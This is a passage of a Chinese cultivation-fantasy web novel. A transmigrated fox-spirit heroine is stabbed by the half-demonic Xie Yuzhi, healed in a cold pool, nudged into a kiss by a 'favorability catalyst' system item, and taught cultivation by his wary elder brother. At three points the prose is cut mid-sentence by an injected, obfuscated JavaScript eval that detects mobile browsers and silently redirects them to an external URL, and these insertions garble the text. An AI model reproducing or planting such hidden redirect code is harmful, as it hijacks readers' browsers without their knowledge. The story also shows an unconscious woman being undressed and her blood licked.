余柚宁暗示自己要克服恐惧,今后要随主角走主线活下去,会遇到更多妖魔鬼怪,连这样的鬼尸都害怕,还怎么找爷爷。 她深吸一口气,克制住颤音,“最后一间客房,便是你与魇魔的交易之处吧?” “仙人给你的药效仅有五年,到底是因为什么?你要用那么多人的性命,去换一副早该化为枯骨的身体?” “你是如何知道的?”年夫人咬牙切齿道。 “魇魔食梦,画皮妖取皮,而你……借命。”余柚宁抬眸停顿片刻,继续道:“到头来,害了自己的女儿。” “你胡说!我女儿会同我一样永远活着!” “年惜是个好姑娘,请您放过她吧。”余柚宁长叹一口气,“难道你希望她像你一样背负满身罪孽吗?” “她是有机会投胎的。” 年夫人低喃着,“投胎?” 原著中提到,画皮妖被谢瑜之斩杀之后,谢瑜白会超度亡魂,因她而死的亡魂,只要没有作恶的,都被冥毓司带走了。 等等!谢瑜之斩杀画皮妖后?谢瑜之…… 11. 误伤 铺天盖地的剑气袭来,整座客栈摇摇欲坠,剑气撞向门扉炸得粉碎,漫天飞屑如雪,屋内之人受剑气波及,纷纷砸落在院中。 紫嫣同年惜一起昏迷,年叔也不省人事,余柚宁痛呼着爬起来,手里的舍利子不翼而飞,唇角溢出一道血痕。 她感知到极其浓郁的魔气,抬眼往上看去。 缭绕的暗红色魔雾之中,谢瑜之提着承影剑,血水顺着剑刃一滴滴往下落,拖出森红、触目惊心的血迹。 很不幸,谢瑜之初次半入魔的状态被她碰上了。 谢瑜之的承影剑那么长,那么锋利,剑身还有汹涌的魔气环绕。捅下去一定皮开肉绽,痛不欲生。 还好,他现在的目标不是她,余柚宁闭上眼睛为年夫人默哀三秒钟。 再睁眼,他距离年夫人仅有一步之遥。 突然,余柚宁被一只伸长的鬼手拖拽到年夫人身前,准准地接住了谢瑜之的承影剑。 “噗嗤——” 血肉划开的声音灌入她的耳朵,剑尖直抵着她的左肩下一寸的位置,猛地扎进去,血珠四散飞溅。 有那么几滴,落进了谢瑜之猩红的眼中。 谢瑜之阖住双眼,眸中的猩红恍然散去,他的视线重新清明,而手中之剑正插在少女身上,他的手松了几分,唇角微颤, “是你?” “我说你捅人之前能不能先看清楚啊!”肾上腺素的作用很快消逝,剧痛蔓延开来。 余柚宁下意识触向胸口,一片滚热的黏湿,汩汩的鲜血不住从伤口里涌出来,将她身上的桃粉色衣裙染红大片。 她大口抽吸着冷气,转向年夫人,“还有你!玩不起是吧?拿我挡剑是吧?我是什么很贱的人吗?” “魔,是魔!”年夫人拖着身子往门边爬去。 “呵,想跑?”谢瑜之眼眸微眯,身后的弦月轮转动,一道残焰滑过,直直插在年夫人的命门处。 血肉被烈焰灼烧,来不及发出惨叫就已经化作了一堆枯骨。弦月轮随即调转方向,朝紫嫣飞去。 “不要!”余柚宁喊道,她一激动,肩头伤口处又开始像泉眼一样,哗哗地往外冒血。 青色的剑气将弦月轮震飞出去,谢瑜白踏空而来,白衣上绣着的银丝流云纹潺潺而动,如月下微波随风荡漾。 “阿之,你破戒了。”谢瑜白落至余柚宁身前,指尖凝出一道青色灵力灌入她的胸口,护住心脉。 “我……”谢瑜之黑白分明的眼睛泛起一层水雾,下意识去扶半跪在地上的少女,指尖触碰到她的后背,少女似触电般瑟缩起身子,眸中闪着泪花,满眼警惕。 他没再敢靠近,随即,她推开了他的手,捂着伤口爬向谢瑜白,一张脸变得惨白,唇瓣也不似原来那样鲜艳欲滴。 谢瑜之收回悬于半空的手,他才察觉到掌心已经染上了她的血,不同于其他腥臭的血,泛着一种异样的甜香。 是她唤醒了他么?可他又做了什么? 余柚宁死死抱住谢瑜白的大腿,眼泪和血一起蹭在他的白衣上,嚎啕大哭:“谢瑜白!你终于来了!” “我要被你弟捅死了!你再不来我就成尸体了!你管管你弟弟啊!” 谢瑜白看着染红的白衣,手指微蜷,沉沉阖眼,轻声安慰她,“余姑娘别怕,我们会救你。” “好疼!真的好疼!” 她越哭,左肩的伤口裂得越大,直到疼昏过去,她仍拉着谢瑜白的衣角不放。 谢瑜白的视线落在谢瑜之身上,神色怅然,指尖化出清泉涤洗着自己和余柚宁身上的血污,“先救人吧,等你回了水月宗,再按门规处置。” 年惜缓缓醒来,魂魄从紫嫣的身体里飘出,她惊慌道:“余姑娘怎么了?!” 谢瑜之默不作声站在一旁,她看见他手中染血的剑,“是你要杀她?你作为修真者,怎么可以这么善恶不分?” “闭嘴。”谢瑜之不自觉瞥向余柚宁,似乎有什么拉扯着他的心,她,会不会死?还有……他为什么有些担心她? “阿之,你过来为余姑娘护法。”谢瑜白将余柚宁交给他,起身处理残局。 谢瑜之揽过少女,掌心残留的魔气在触及她身上的血时,缓缓淡了下去。 她的身躯还是暖的,而他那一剑刺得太深,几乎贯穿她的左肩之下,即使昏迷了,她仍在睡梦中轻轻吸气,肩膀也随着抖动。 难怪刚才她会那样怕他。 他应该给她传输灵力,可想到自己现在魔气和灵力混杂,迟迟不敢动作。 年惜含泪看向余柚宁,连连道歉:“是我的错,我不该害她们卷进来……” “非你之过。”谢瑜白淡淡道,“阿之未伤中她的要害,我也已经护住了她的心脉。” “那便好。”年惜看向那堆属于母亲的枯骨,百感交集。 阿娘为了陪在她和阿爹身边,为了陪她长大,竟与魇魔作交易。可那些偷来的日子,是用别人的命,别的家庭换来的,温柔的阿娘竟会变得如此偏执。 还有阿爹,每日守着春茗轩,即便是妖魔横行的时候,他仍坚持等到最晚才关门,为的是多护住一位无处可去的外乡人。 阿爹的一片好心,反倒害得他们成了春茗轩入住最后一间客房的客人。他若是知道了,该有多自责啊。 年惜终究忍不住问:“我娘会怎么样?” “执念成痴,我会为她渡化怨气。”谢瑜白走向怨气缭绕的枯骨,“不过她的魂魄早已覆满罪孽,再无往生的可能。或许消散才是最终的归宿。” “多谢仙师。”年惜拜谢,忽然想起什么,“谢仙师,我有件事要告诉你。” 谢瑜白示意她说下去。 “我娘说,她死那年,遇到一位白发仙人,仙人之所以给我娘五年的续命丹,是想让她向谢仙师带句话。可她被妖魔蛊惑,迟迟未去水月宗。” “天书所示的无情道,并不完整。” 谢瑜白眉心微蹙,“并不完整?那仙人可有说如何找到真正完整的无情道?” 年惜答道:“问心,找寻天命道心。如此,才是完整的无情道。” “多谢。”谢瑜白指尖捻动,青芒自他掌心浮现,化作引路符贴在她的背后,“年惜姑娘,往生去吧。冥毓司自会依你生前功德论断。” 年惜恢复生前的原样,魂体渐渐变得透明,她最后看了一眼地上的枯骨,又望向余柚宁和紫嫣,化作点点碎光。 陆箫赶来,只见满地疮痍,一眼便瞧见了紫衣少女,“嫣儿!” 他的剑随之掉落,快步走去打横抱起紫嫣,朝谢瑜白道:“谢仙师,她受伤了,我得先带她回去疗伤。” 他的脚步忽然停顿,视线扫过一旁的玄色,“这里似乎有魔气。” “魇魔来过此地。”谢瑜白面不改色,“疗伤为重,你带着她回去吧,这里交给我们便可。” 魇魔确实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15811899|175276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 魔气浓重,陆箫没再多想,“我收到的所有厉鬼,都在这个紫金葫芦里了。” 他将葫芦递给谢瑜白,恭敬道:“长洲山不善渡化之术,便交给谢仙师了。” 谢瑜白淡淡点头,收起紫金葫芦。他将院中最后一丝怨气涤荡干净,再以灵阵为引,在归云镇设下忘尘咒。 瑜之的秘密,不能被任何人知晓,今夜有关水月宗的所见所闻,他们皆会忘却。 此时,余柚宁的识海中响起: 【主线一阶段任务完成!】 【修为+50,当前修为:炼气期。】 【获得线索碎片:天池境。获得好感度催化道具。】 谢瑜之施法止住血,极其小心地拔出承影剑,她的唇角还是涌出大口血,落至他手腕的梵文处,焰色暗淡下去。 他抬手用指腹擦去唇角溢出的血,又凝出灵水为她洗涤。 被剑刃刺破的衣物黏在伤口处,看起来血腥狰狞,如若不及时取下那些碎布,会有碍伤口愈合。 他摸索着探到她腰间的系带,轻易扯开。再一件件剥开她的裙裳,直到露出里面的桃色小衫。 单薄的小衫带着灼热的温度,他的视线下意识地落在伤口之外的地方,薄衫随着她轻慢的呼吸微微起伏着。 喉间莫名干涩起来,谢瑜之闭了闭眼,专注于那道贯穿的伤口处,夜里冷风徐徐,地面寒凉,不可将她放在地上。 他便以左手扶着她的腰,指腹微压便陷入腰间的软肉中,细腻微漾,热意顺着指尖涌入他的四肢百骸。 谢瑜之的动作微顿,沉了沉眸子,再度扶稳,另一只手向她的伤口送入灵力。灵力的波动下,伤口开始渗出血来,又是一阵异香侵入他的鼻间。 他突然想舌忝上去…… 他隐隐约约觉得,此刻的冲动与刚才的屠杀是不同的,杀戮麻痹魔气蚀骨的疼痛,而现在是一种隐秘的渴望。 像藏在深处、从未窥见过的甜糖,泛着甜蜜馥郁的香气,牵引着他靠近,诱他品尝。 他的鼻尖贴在了少女的肩头,舌尖尝到一点血腥,很快将血滴卷起,滑落至喉中,他还在继续。 少女似感受到伤口的疼痛,哭吟起来,很快又歇下去。 “阿之,你在、做什么?”谢瑜白冷冷的声音从身后传来,随即一道袖风将剥开的裙裳全都拢回去。 谢瑜之收回手,转而将少女的腰带系好,凤眸微敛,“为她疗伤。” 谢瑜白没再多说,站在不远处,只提醒道:“送她去客栈吧,你该随我回水月宗受戒鞭了。” “可她不是我伤的吗?我不该负责治好她吗?”谢瑜之将少女抱起,往回走去,“后山的寒潭,难道不是治疗剑伤最有效的地方吗?” “你不必如此,我施下了忘尘咒,她醒后不会记得是你伤了她。” 谢瑜白面色依旧古井无波,“我会派人送她去就近的医馆。今日你连犯两戒,若执意带她回水月宗,便是连犯三戒。” “承影剑伤不是寻常草药能治好的,这一点,你应该比我清楚。” 谢瑜白的视线落在少女腰际露出的一截玉筒处,“她的身份,你也应该比我清楚。” 谢瑜之嘴角扯起一抹弧度,与他擦身而过,戏谑道:“谢瑜白,有时我也看不出,你究竟是真的心系苍生?还是个道貌岸然的伪君子?” “不就是七七四十九道戒鞭么?带她回去之后,我自行领罚便是。” 12. 催化 玄色身影落至青石路上,怀里稳稳抱着个鹅黄色裙裳的少女,蓝色寒芒淡去,剑刃入鞘。 余柚宁被如雪刃般刮过脸颊的冷风吹醒,一睁眼,蚀骨的疼痛又铺天盖地席卷回来,她轻抬眼皮,在泪水朦胧的视线中,看到一双含星的眼睛。 谢瑜之望着她眨了眨眼,薄唇轻启,“醒了?” 这声音带着一丝沙哑,意外地温柔好听,若不是那颗醒目的红痣,余柚宁甚至会怀疑他不是谢瑜之。 她呆呆地环顾四周,“这里是……水月宗,是谢仙师带我过来的?” “既然醒了,那就进去吧。”话音刚落,谢瑜之不由分说抱起她丢向寒潭。 “谢瑜之!你大爷……”余柚宁没骂完,便被由水凝成类似龙尾的东西托举着缓缓放入潭水中。 谢瑜之站在谭边好整以暇地看着她,“余姑娘,除了兄长,我自小没有父母亲人,更没有什么大爷。” 寒潭的水冰冷得刺骨,余柚宁缩着身子牙关都在打颤,然而寒雾随着流水丝丝沁入她的伤口时,能清晰地感觉到灵力正修复着剑伤。 或许是潭水寒冷起到了麻痹的作用,她的伤口好像也不疼了,只是身体都僵硬起来,浑身都湿透了,为了取暖捂着手连连呵气。 而谢瑜之这个始作俑者,却一幅气定神闲的样子,不把他拉下水她难解心头之恨。毕竟他可是捅了她一剑,简单报复一下不过分吧? 余柚宁故作惊吓地叫了一声,指着晃动的水波,“这潭水里好像有东西!” “谢瑜之!我好害怕!” “哦?我倒是没见过潭水里有别的什么。”谢瑜之唇角扬起一丝促狭的笑,显然看穿了她的把戏。 看穿了又怎样? 她现在是伤者,想做什么便做什么。她不怀好意扯住他的一缕衣角,往潭水里拉,“既如此,谢仙师可否帮我一探究竟?” 月色银辉铺满水面,波光粼粼,落花在水中打着转,漂至她的裙边,脖间的吊坠隐隐闪着微光,【小主人,好感度催化已开启。】 【攻略愉快。】 “好感度催化?做什么用的?”沉星没再回答。 谢瑜之墨玉般的眸子锁着她,视线落在她湿得几乎透明的裙裳上,轻嗤道:“到底是合欢宗出来的。” 涟漪一圈圈荡开,他配合着她脱去外裳,只剩一件月白色里衣。待他落了水,余柚宁又退开几步。 分明是冷冽的寒潭,随着谢瑜之的靠近,竟泛起氤氲的雾气,朦胧的身影逐渐清晰起来。 谢瑜之戏谑的眼神变了,目光变得灼热,像选定猎物的捕食者,幽暗危险,正朝她涉水而来。 余柚宁大脑一片空白,看着谢瑜之离她越来越近,下一刻,灼热的掌心贴在她的腰侧,热意烫得她往后微微退了一步。 “躲什么。”附着滚烫湿气的低沉嗓音在她耳边响起,“这样,不正是你所期待的吗?” 他胸前交叠的领口随着潺潺流水散开,比她误入寒潭那次还要低些。 余柚宁目光不争气地落在那处,咽了咽口水。谢瑜之察觉到她的视线,喉间溢出低笑,“好看吗?” 余柚宁鬼使神差答道:“好看。” 他腾出一只手,指尖寸寸滑过腰腹,更低了……再低就不能播了。 “你是故意的还是真的没心眼?”谢瑜之低低叹了口气,将掌心探向水面,手里明晃晃多了只玉筒。 “一直将这个东西带在身上,还藏不好,生怕别人看不出来你是合欢宗派来的?” 谢瑜之眸色晦暗,摩挲着玉筒上的合欢花,“我突然有些好奇,你的任务是取谁的元阳?” 他果然早就发现合欢宗的玉筒了。既然发现了,为什么还容忍自己接近他呢?反派不是很讨厌合欢宗的妖女吗? 原著中他曾说过,“合欢宗妖女不思进取,只靠双修提升修为,最是肮脏卑劣。” 还有,他既然能轻易识别出合欢宗的东西,为什么不自己取出字条来看呢?余柚宁在心里盘问,却下意识回答他的问题。 “你……”她抬起眼望向谢瑜之,他的脸时而模糊,时而清晰,“我的任务目标是水月宗谢瑜之。” “看来我没猜错,你接近我果然不是出于真心。”他陆续说了什么,余柚宁听不太清,张张合合的薄唇只让她有种想堵住它的冲动。 沉星到底干了什么? 脸颊灼烧起来,连带着脑子变得昏昏沉沉。身后响起一阵晃动的水声,她恍惚看过去,原来是狐狸尾巴露出来了。 它汲满了水,又沉又重,将她往身后扯。 余柚宁下意识将手抵在谢瑜之胸前,往他身上靠去。她的视线里只剩一片盈着水珠的冷白,以及那上下滚动的喉结。 像一颗香草冰淇凌,想咬。 眨眼间,她已经趴在了他的肩头,舌尖小心翼翼地抵上去。 谢瑜之触电般绷紧身子,声音里带着粗重的喘息,“你知道你在做什么吗?” 他没有拒绝,余柚宁更大胆起来,用尖尖的犬牙轻咬他的喉结,好像还是不够。 肩头的衣裳被她蹭得滑落至腰间,谢瑜之轻嘶一声,捉住她的下巴,“咬人的狐崽,没个轻重。” 余柚宁的眼中盈起水雾,指尖不安分地在他的腰际游窜,“谢瑜之,你为什么变得这么好闻,好奇怪,我好像被下药了一样……” “解药是不是在你身上?把它给我好不好。”她急得快哭了。 谢瑜之扶住她软趴趴的身子,哑声调笑道:“自导自演?我可没有那样的药。” “想要我的元阳,也不是不行。不过,要等我看到你的真心那天。” 余柚宁揽住他的脖子,那双薄唇盈着水光,又在引诱她,她轻轻地吻了上去,如蜻蜓点水般,“你看不出我是真心的吗?” 谢瑜之呼吸停顿片刻,眼神凝滞,视线变得幽暗晦涩。 余柚宁的唇瓣被一阵绵软微凉的触感堵住,灵台传出谢瑜之的声音,“礼尚往来。” 舌尖撬开牙关,狠厉地勾缠无处可逃的舌,他的吻和他本人一样狠厉,掠夺尽她唇中的所有氧气,她仿佛成了即将窒息的鱼。 谢瑜之借着灵台调笑道:“就这点出息?合欢宗难道没教过你?” 他的动作缓了下来,一只手顺势箍住她的腰,将她往怀里抵,以支撑住这个温柔而绵长的吻。 余柚宁隔着薄纱紧贴着他滚烫坚实的胸膛,只觉得周身的潭水都是温热的。 她生疏地回应着他,指尖穿过他的发梢,发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15811900|175276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丝流淌,如顺滑冰凉的缎子,带走几分燥热。 混沌中,她被他从水中捞出,抱回了不逾居。 清亮的月色下,一袭胜雪衣对月自酌。谢瑜白似霜雪般淡漠,恍若不食人间烟火的神像,唯一生动的颜色,是眉间那抹若隐若现的金色神印。 他修炼无情道二十载,早已经摒弃凡尘杂念,甚至自封五感,只为求得灵台一片清明。 道途渺渺,仙道茫茫。魔宗猖獗一时,试图打开九幽魔域的封印,魔域妖魔频出。 水月宗作为仙门之首,他作为水月宗少宗主,必须在九幽魔域彻底打开之前,尽快飞升成神,镇压那些为祸世间的妖魔。 可那日在归云镇,他却得知自己苦修的无情道竟是不完整的。问心?寻找天命道心?他想了许久,仍旧想不出问心究竟为何。 眉心的神印突然变得灼热,脖间凭空生出绯红的痕迹,他隔着另一个人的身体,碰到了不该触碰的禁忌。 谢瑜白闷哼出声,双唇骤然抿成直线,一股腥甜的铁锈味猛地涌过喉头。某处早已因无情道沉睡的地方,竟可耻地……苏醒。 受戒鞭之刑不可能会出现这样的反应。他还是把妖女带回水月宗了?他差一步就要破戒了。 天魔以怨欲恨为力量本源,若瑜之受合欢宗引诱,激发欲念,身上的封印就越发岌岌可危了。 若是瑜之彻底入魔,水月宗便再也留不得他。可他答应过母亲,要保护自己的弟弟,无论如何也不能让他走向与母亲相同的路。 那么,只有一个办法,在欲念彻底激发之前,杀了她。 缕缕清淡的药香飘入鼻间,余柚宁清醒过来,谢瑜之早已不见踪影。她身上的衣裙换了,类似水月宗弟子服的浅蓝色裙子。 【小主人,好感度催化果然好用!】 【好感度已经达到50了!】 沉星偷笑:【看来反派很喜欢和小主人亲密接触呢。】 【小主人怎么不理我啊。】 余柚宁冷冷道:“我问你,你说会保护我?那我怎么被捅了一剑?” 沉星立马滑跪,【小主人,在春茗轩我没能及时保护你,是我的错。】 【可是当时反派的魔气太强,我的灵力无法抵御,被迫沉睡了。】 【还好小主人没事。】 余柚宁没再理他,偏头瞧见一个扎着双髻的青衣女孩端着药汤,推门进来,“余姑娘,您醒了?” 谢瑜之不喜与外人接触,他的仙侍皆是由灵器所化。眼前这个女孩,青色衣服上绣着鼎纹,看来应该是那个由青玉鼎所化的青时。 “谢瑜之呢?”余柚宁问。 青时在他们对弈和辨药的时候就见过她,不过,这是她第一次见主人带外人进卧房,还交代她为姑娘换衣裙,服侍她喝药。 她对她十分好奇,呆愣愣地盯着她看,闭眼轻嗅着,姑娘身上还有一种好闻的异香,像清甜的白茉莉。 余柚宁抬手戳了戳她,“小仙侍?” “啊,姑娘。”青时回过神来,舀了舀药汤轻吹,“主人去戒堂受刑,今天应该不会回来了。” 她好像习以为常,没有半点担忧。也是,她毕竟只是灵器所化,谢瑜之自己也不懂感情,他的灵器就更不懂了。 13. 修道 “把药给我就好了。”余柚宁伸手去接她的药。 青时将药汤紧紧握住,毫不松手,义正言辞道:“主人说了要我服侍姑娘喝药,就必须由我亲自喂。” “否则主人会不高兴的。” 青时太过执拗,余柚宁只能任由她去,想了想问她:“谢瑜之受的什么刑罚?很重吗?” “主人经常受罚,鞭刑、玄魄冰针、地火牢……他都受过。” 余柚宁听她一一列举出来,某种难以名状的心疼涌起。她越是了解这些刑罚,就越容易共情反派。 即便他体质特殊,魔血可以修复伤口,可受刑的疼痛是真切存在过的,更何况这些刑罚他在小时候就受过了。 反派自小便被封印魔性,因封印反噬,体弱多病,脾性乖巧。也正是因为乖巧,才被炮灰男配常耀瑄欺负。 常耀瑄仗着宗主幼子的身份,在水月宗横行霸道。因为打不过谢瑜白,便把目光转向了他的弟弟谢瑜之。 他常常带着手下拦路殴打,在谢瑜之的饭菜里倒辣椒。事后还恶人先告状,联合其他弟子诬陷谢瑜之,谢瑜之不承认便会罚得更重。 病弱少年在他们荼毒之下,渐渐长成了满身是刺、心里阴暗的病娇。 青时做事太过规矩,连碗底有剩药都不行,余柚宁耐心等她将药汤一滴不剩地喂完,才问:“药喝完了,我可以走了吧?” “不可以。”青时连连摇头,“主人说姑娘的伤还未完全恢复,要在寒潭泡够五日才行。” “我已经好了呀。”余柚宁活动身子,明明已经不疼了,只是经脉不如往常通畅,应该是内伤未愈。 “那我出去走走,总可以吧?”余柚宁问。 青时若有所思地点点头,察觉她走远,很快追到她身后,“姑娘不能离开水月宗,主人要我随时随地伺候姑娘。” 余柚宁随处逛了逛,摆弄谢瑜之院中的奇花异草时,她忽然瞥见一抹晃动的雪白,发现藤枝后面有一只小兔子。 她无法拒绝这样毛茸茸可爱的小动物,伸手去抓它,白兔受到惊吓,但好像蹦不起来,只能拖着一条腿躲开,颤抖着缩着身子。 “小白兔,别怕。”余柚宁轻声哄着它,并化出妖相轻晃尾巴,试图通过同款毛色得到它的认可。 这招果然奏效,白兔不怕她了,慢慢靠近。余柚宁蹲下身轻抚白兔的耳朵,朝青时笑道:“谢瑜之竟然还养兔子,看不出来嘛。” “这只兔子是主人前些日子捡回来的。”青时知无不言,“我听见主人好像对着它说什么:要是只狐狸就好了。” “原来反派更喜欢狐狸啊。”余柚宁好奇问:“那他为何不养只狐狸当灵宠?” 青时摇摇头,“这我就不知道了。” 余柚宁抱着白兔往谢瑜之的丹房去,打算学以致用尝试给兔子治疗腿疾,奇怪的是,她总觉得有人在看她,透着冷冷杀意。 这种感觉一直持续到晚上,但转念一想,这里可是谢瑜之的居所,谁敢轻易闯入?她便没再多想。 谢瑜之的房间太过简约单调,余柚宁闲着无事,利用院落的花草细细装饰了一番,多了番温馨、岁月静好的感觉。 是夜,万籁俱寂。 一道青色剑气穿过结界,谢瑜白踏着稀疏的月色步入殿内,眉间金印隐隐透出一缕血气。 谢瑜白抬起碧落剑,双指相并凝练剑气划过剑心,杀意冰寒刺骨。 “杀了她,杀了她便不会再生出祸患。” “你好好想清楚,杀了她?你会后悔的。” 心底两种声音叫嚣着,视线却在触及窗边的倩影时骤然凝滞。 月色银辉从窗户倾斜而下,尽数落在缀满花枝的房中,少女撑着下巴趴在软榻上。 雪色狐尾无意识轻晃,尾尖卷着一颗莹润的夜明珠,柔和如水的光晕描摹她的侧脸,颈间薄纱微敞,静谧又明媚。 榻前趴着一只同样毛色的兔子,少女细致地解着缠在它腿上的白纱,眼眸弯成月牙状,“想不到我的药真把你治好了,我真厉害!” 白兔满意地蹬蹬腿,蹦到窗边叼了一朵白茶花,放在她身前。 “送给我的吗?谢谢你。”少女甜腻的笑音在他耳边回荡,剑气无风溃散,手中的碧落剑悄然隐去。 要杀了她么?从归云镇见她的时候,他就知道,她并非恶妖,妖力也弱得可怜。 或许未必非杀不可,他修仙本是为了渡苍生。大千世界,芸芸众生,妖也在这苍生之中,为何就不能放过她? 若将自己的一缕神息灌入她的经脉,引她修无情道,一切不就引刃而解了吗?不过此事还需徐徐图之。 谢瑜白的目光掠过那抹晃动的雪色,如玄冰剔透的浅青色眸子中,一丝微澜转瞬即逝。 翌日,余柚宁在长廊的尽头,瞥见一个身着霜白道袍的颀长身影,如谪仙般不染纤尘,云纹宽袖下掩着一柄玄冰似的青色长剑。 谢瑜白怎么会来? 他信步走来,一半长发由青玉冠妥帖地束起,衣带当风而立,腰间缀着的玉坠撞响。院中的棠梨花瓣飘下,搭在他的肩头将落未落。 不愧是原书男主,出场自带氛围感滤镜,简单修整的白衣便衬得他矜贵淡漠,眉目却不似谢瑜之那样邪气,透着冰雪消融的温润。 “这位便是余姑娘吧?”谢瑜白俯身作揖,声音如清流淬玉,清越温和。 “是我。”余柚宁忙将嘴里的糖糕咽下,擦去手上的碎屑,学着他的动作行礼,略显局促的作揖惹得谢瑜白眉眼微扬。 “我是瑜之的兄长,他去刑堂前嘱托我照拂一二,剑伤会阻碍经脉,需要以灵力疏导。”他解释得合情合理,目光带着一丝恰到好处的关切。 这句话开始不对劲起来。 照拂?谢瑜之会拜托不近女色的兄长照拂她?实在诡异,可谢瑜白的神情太过自然,让人生不出一丝怀疑。 而且,他在这里进出自如,或许是她以小人之心夺君子之腹了。 “谢谢仙师。”余柚宁慌忙将视线从他的脸上移开,“我没事,劳烦少宗主挂心了。” 谢瑜白的目光扫过她略显凌乱的发髻,以及松散而露出几抹雪色的衣裙,眼神微不可察地暗了一瞬。 余柚宁尴尬笑笑,将腰间的系带绑好,“少宗主莫怪,我刚起床,随意了些。” 谢瑜白早已别开眼,温 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15811901|175276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和一笑:“无碍,只是余姑娘真的没事吗?近日可觉得身体困乏,易倦嗜睡?” “好像确实有点……”余柚宁若有所思地点点头。 “姑娘受的是承影剑伤,不及时疏导经脉,有碍灵气流转,修为难以精进。”修长如玉的指尖隔空轻触她的眉心,几道古迹灵纹在他指尖显现。 “果然。”他收回手,神色担忧,“经脉已然受阻。” 这些天也确实如他所说,妖力流转不如以往顺畅。妖力本就不多,如今不升反降,这还得了? “少宗主可有办法帮我?”余柚宁期待地望着他,在谢瑜白看来分外乖巧,像是向他讨要灵果的狸奴。 他指尖微微蜷握,点头道:“这里不太适合布阵,余姑娘可否随我走一趟?” 他的声音带着天然的信服力,又事事为她考虑,像个温柔稳重的兄长,让她无法拒绝。男主终究不会是坏人。 “那……麻烦谢仙师了。”余柚宁犹豫片刻还是答应了。 “不必言谢。”谢瑜白唇角弯起清淡的弧度,随即补充道,“瑜之上次并非有意伤你,他也因此受罚,但余姑娘还是要离他远些为好。” 余柚宁了然,“我知道的,谢瑜之最初的目标不是我。” 话音落下,谢瑜白的眉目间染上一层薄霜,又转瞬即逝。他只是想提醒她远离谢瑜之,可她的表现,好像记得那天之事?难道忘尘咒于她无效? 他将碧落剑横于身前,剑身清光流转,示意余柚宁伸手搭上剑柄,“以灵息相牵,我带你过去。” 余柚宁的指尖触碰剑柄时,清冽温和的灵力瞬间涌入经脉,如涓涓细流般柔和,却铺天盖地包裹住她的灵息。 周身青光涌起,转眼到了一处山崖。立于山巅,远山瀑布的流水,微风拂过树叶的沙沙声,都变得清灵悦耳。 空气中透着精纯的灵气,余柚宁忍不住深深吸了口气,问:“这里是何处?好漂亮啊!” 隔着碧落剑,神息已经渡入她的经脉。她的妖息竟然对神息没有丝毫的排斥,就好像天生相伴相依,互为一体。 谢瑜白微微颔首,视线从她身上移开,扫过隐在云层中的楼阁,“流云崖,是我常来的修炼之处。” “此地灵力丰沛,于吐纳灵息,打坐修炼皆有益处。”谢瑜白顿了顿,复问,“余姑娘可学过修仙的法诀?” 晨曦铺洒下一层金色,映得他的脸庞格外温暖,眉心那抹金色明明灭灭。 “未曾。”余柚宁想了想,“不过我是妖族,也能修仙吗?” 原书里妖与仙泾渭分明,妖族向来被仙族排斥,也是这个原因,妖族大都选择投奔魔修宗门,合欢宗。 谢瑜白垂眸轻笑,“灵狐一族,自是有修仙机缘的,且余姑娘灵脉通达,稍加疏导学习,便可引气入体。” “真的吗?!”谢瑜白是书中的修炼奇才,无所不知无所不晓,他说的话她自然是相信的。这样的话,她就能靠自己保护自己了。 余柚宁无意扯住谢瑜白的袖摆轻晃,眸中跃起晃动的光点,“我真的可以学吗?” “自然。”她的指尖滑过他露出的手腕,碧落剑随心而动,轻轻抖动一瞬。 14. 教导 碧落剑似乎也不排斥她?到底是为何?谢瑜白设下一个聚灵阵,“今日无事,我可以教你些简单的法诀。” 余柚宁学着小说里的动作盘膝坐下,双手搭在膝盖处,她抬起明净清澈的眸子望向他,凝脂般的皮肤透出淡粉色,梨涡浅浅浮现。 “少宗主,是这样吗?” 谢瑜白收回视线,不自然地应了声,随即俯下身来,温和耐心地指导细节,“这里,要抬高些。” “灵力流经关元、气海时,需意守丹田,导其归元。” 余柚宁一知半解,有些尴尬问:“少宗主,可否告知关元在何处?” 谢瑜白并未直接作答,碧落化作一柄质地清透的玉箫,隔着薄薄的衣料,轻点在她脐下三寸的位置。 “此处,便是关元。”他的声音近在咫尺,气息拂过她的额发,无半分不耐,只是那玉箫冷冽的触感有些奇怪。 她阖眸忽略玉箫的存在感,运转功法,灵力流经经脉,却有某种难以言喻的感觉。 方才由他传来的灵力似乎未曾退去,而是蔓延包裹,如丝如缕沁入她的灵息。余柚宁气息紊乱,脸颊莫名发烫,周身微弱的灵光游散。 “唔……”她死死咬住下唇咽了回去。 谢瑜白表情淡然如常,神息融合灵脉,片刻便好。玉箫退开,清冽雪松香反而近了,余柚宁清晰地感觉到他的发丝滑落,扫过锁骨的皮肤。 